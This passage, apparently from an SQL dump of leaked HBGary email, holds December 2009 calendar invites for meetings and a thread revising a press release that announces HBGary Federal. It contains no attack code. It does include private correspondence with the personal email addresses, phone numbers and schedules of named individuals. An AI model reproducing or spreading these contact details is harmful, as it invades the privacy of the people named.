\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',12712,'aaron_hbgary_com/12712.html'),(337,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999770.M371047P3547Q337.eml','\"Aaron Barr\" <aaron@hbgary.com>','Palentir(sp?)','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20091203T173623Z\r\nDESCRIPTION:When: Monday\\, December 07\\, 2009 11:00 AM-1:30 PM (GMT-08:00) \r\n	Pacific Time (US & Canada).\\nWhere: Tyson\'s\\n\\nNote: The GMT offset above \r\n	does not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\\r\n	n\\n\\n\r\nDTEND:20091207T213000Z\r\nDTSTAMP:20091203T173623Z\r\nDTSTART:20091207T190000Z\r\nLAST-MODIFIED:20091203T173623Z\r\nLOCATION:Tyson\'s\r\nORGANIZER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Palentir(sp?)\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E0080000000080099013FC73CA01000000000000000\r\n	010000000175CC4AE96E63049BB4A2AFA282F619C\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Monday\\, December 07\\, 2009 11:00 AM-1:30 PM (GMT-08:00) Pacific\r\n	 Time (US &amp\\; Canada).\\n\\nWhere: Tyson\'s\\n\\nNote: The GMT offset above does not r\r\n	eflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',219,'aaron_hbgary_com/219.html'),(338,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999770.M579998P3547Q338.eml','\"Aaron Barr\" <aaron@hbgary.com>','InQTel','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20091203T174140Z\r\nDESCRIPTION:When: Tuesday\\, December 08\\, 2009 9:30 AM-10:30 AM (GMT-08:00)\r\n	 Pacific Time (US & Canada).\\nWhere: VA\\n\\nNote: The GMT offset above does\r\n	 not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\\r\n	n2107 Wilson Blvd\\nSuite 1100\\nArlington\\, VA\\n\\nJust across the street fr\r\n	om the Courthouse Metro station\\n\r\nDTEND:20091208T183000Z\r\nDTSTAMP:20091203T174140Z\r\nDTSTART:20091208T173000Z\r\nLAST-MODIFIED:20091203T174140Z\r\nLOCATION:VA\r\nORGANIZER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:1\r\nSUMMARY;LANGUAGE=en-us:InQTel\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E008000000000063F5F7FB73CA01000000000000000\r\n	01000000000AA9F2A10BE5443807DD02C64D50174\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Tuesday\\, December 08\\, 2009 9:30 AM-10:30 AM (GMT-08:00) Pacifi\r\n	c Time (US &amp\\; Canada).\\n\\nWhere: VA\\n\\nNote: The GMT offset above does not refle\r\n	ct daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\r\n	\\n\\n\\n2107 Wilson Blvd\r\n	\\n\\nSui\r\n	te 1100\\n\\nArlington\\, VA\\n\\nJust across the street \r\n	from the Courthouse Metro station\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-APPTSEQTIME:20091203T173536Z\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',5198,'aaron_hbgary_com/5198.html'),(339,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999770.M787484P3547Q339.eml','\"Aaron Barr\" <aaron@hbgary.com>','Beth POwer-Lobbyist for DHS','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20091203T174415Z\r\nDESCRIPTION:When: Monday\\, December 07\\, 2009 10:00 AM-11:00 AM (GMT-08:00)\r\n	 Pacific Time (US & Canada).\\nWhere: TYsons\\n\\nNote: The GMT offset above \r\n	does not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\\r\n	n\\n\\n\r\nDTEND:20091207T190000Z\r\nDTSTAMP:20091203T174415Z\r\nDTSTART:20091207T180000Z\r\nLAST-MODIFIED:20091203T174415Z\r\nLOCATION:TYsons\r\nORGANIZER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Beth POwer-Lobbyist for DHS\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000D041FC2CFD73CA01000000000000000\r\n	01000000096FAC85819CA414C9F535F7FCFDB7162\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Monday\\, December 07\\, 2009 10:00 AM-11:00 AM (GMT-08:00) Pacifi\r\n	c Time (US &amp\\; Canada).\\n\\nWhere: TYsons\\n\\nNote: The GMT offset above does not r\r\n	eflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',13213,'aaron_hbgary_com/13213.html'),(340,'2009-12-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999770.M979212P3547Q340.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: How does this look?','Neither of us were execs with Northrop.  Aaron was a Director, and I was a Dept. Manager.  We were both certainly leaders, and Sr. Managers.  What would be a better term that we could use?Ted\r\nOn Thu, Dec 3, 2009 at 10:24 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the headline, maybe we could shorten to:\r\n\r\n \r\nNew Venture Led By Former Northrop Grumman Executives\r\n Aaron Barr and Ted Vera\r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: How does this look?\r\nTo: karenmaryburke@yahoo.comCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\n\r\nHBGary Announces HBGary Federal, \r\n\r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies\r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera\r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.\r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.”\r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security\r\n technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.\r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in)\r\n \r\nAbout Aaron Barr, CEO, HBGary Federal\r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system\r\n administrator.  Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n \r\nAbout Ted Vera, COO and President, HBGary Federal\r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n\r\n \r\n \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com \r\n\r\n\r\n      -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',5580,'aaron_hbgary_com/5580.html'),(341,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999771.M165220P3547Q341.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Meetings for Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI need to put these in a schedule.&nbsp; Please list dates, times\r\nfor me and I&#8217;ll send out invites.&nbsp; Also, Maria Cirino wants to meet Greg\r\nin Boston on Thursday evening for dinner.&nbsp; I would flyout from there on Friday\r\nif this is possible.&nbsp; Also Aaron is that GD guy going to training I need to\r\nknow\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13776,'aaron_hbgary_com/13776.html'),(342,'2009-12-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999771.M372081P3547Q342.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: How does this look?','Hi Ted, Here\'s another version of subhead -- I could change \"experts\" to \"veterans\" too if that is better.\r\n&nbsp;\r\nWell-Respected Government Industry&nbsp;Experts Aaron Barr and Ted Vera\r\n&nbsp;to Head New Venture&nbsp;&nbsp;\r\n\r\n&nbsp;--- On Thu, 12/3/09, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: How does this look?To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Thursday, December 3, 2009, 9:48 AM\r\nNeither of us were execs with Northrop. &nbsp;Aaron was a Director, and I was a Dept. Manager. &nbsp;We were both certainly leaders, and Sr. Managers. &nbsp;What would be a better term that we could use?\r\n\r\nTed\r\nOn Thu, Dec 3, 2009 at 10:24 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the&nbsp;headline, maybe we could shorten to:\r\n&nbsp;\r\nNew Venture Led By&nbsp;Former Northrop Grumman Executives \r\n\r\n&nbsp;Aaron Barr and Ted Vera \r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: How does this look?To: karenmaryburke@yahoo.comCc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\n\r\n\r\n\r\nHBGary Announces HBGary Federal, \r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products\r\n and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary\r\n Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund,\r\n CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of\r\n trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in) \r\n&nbsp;\r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750\r\n million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp;\r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system\r\n security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security\r\n clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n&nbsp;\r\n&nbsp;\r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit:\r\n http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n     ',10796,'aaron_hbgary_com/10796.html'),(343,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999771.M592133P3547Q343.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: How does this look?','Looks good.  Ted and I were unsure of the word executive vice leadership.  Could be no biggie.  We were thinking executive was reserved for vp and above.Aaron  \r\nFrom my iPhoneOn Dec 3, 2009, at 12:24 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the headline, maybe we could shorten to:\r\n \r\nNew Venture Led By Former Northrop Grumman Executives\r\n Aaron Barr and Ted Vera\r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: How does this look?To: karenmaryburke@yahoo.com\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\nHBGary Announces HBGary Federal, \r\n\r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies\r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera\r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements.\r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.”\r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security\r\n technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal.\r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in)\r\n \r\nAbout Aaron Barr, CEO, HBGary Federal\r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system\r\n administrator.  Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.\r\n \r\nAbout Ted Vera, COO and President, HBGary Federal\r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n\r\n \r\n \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident 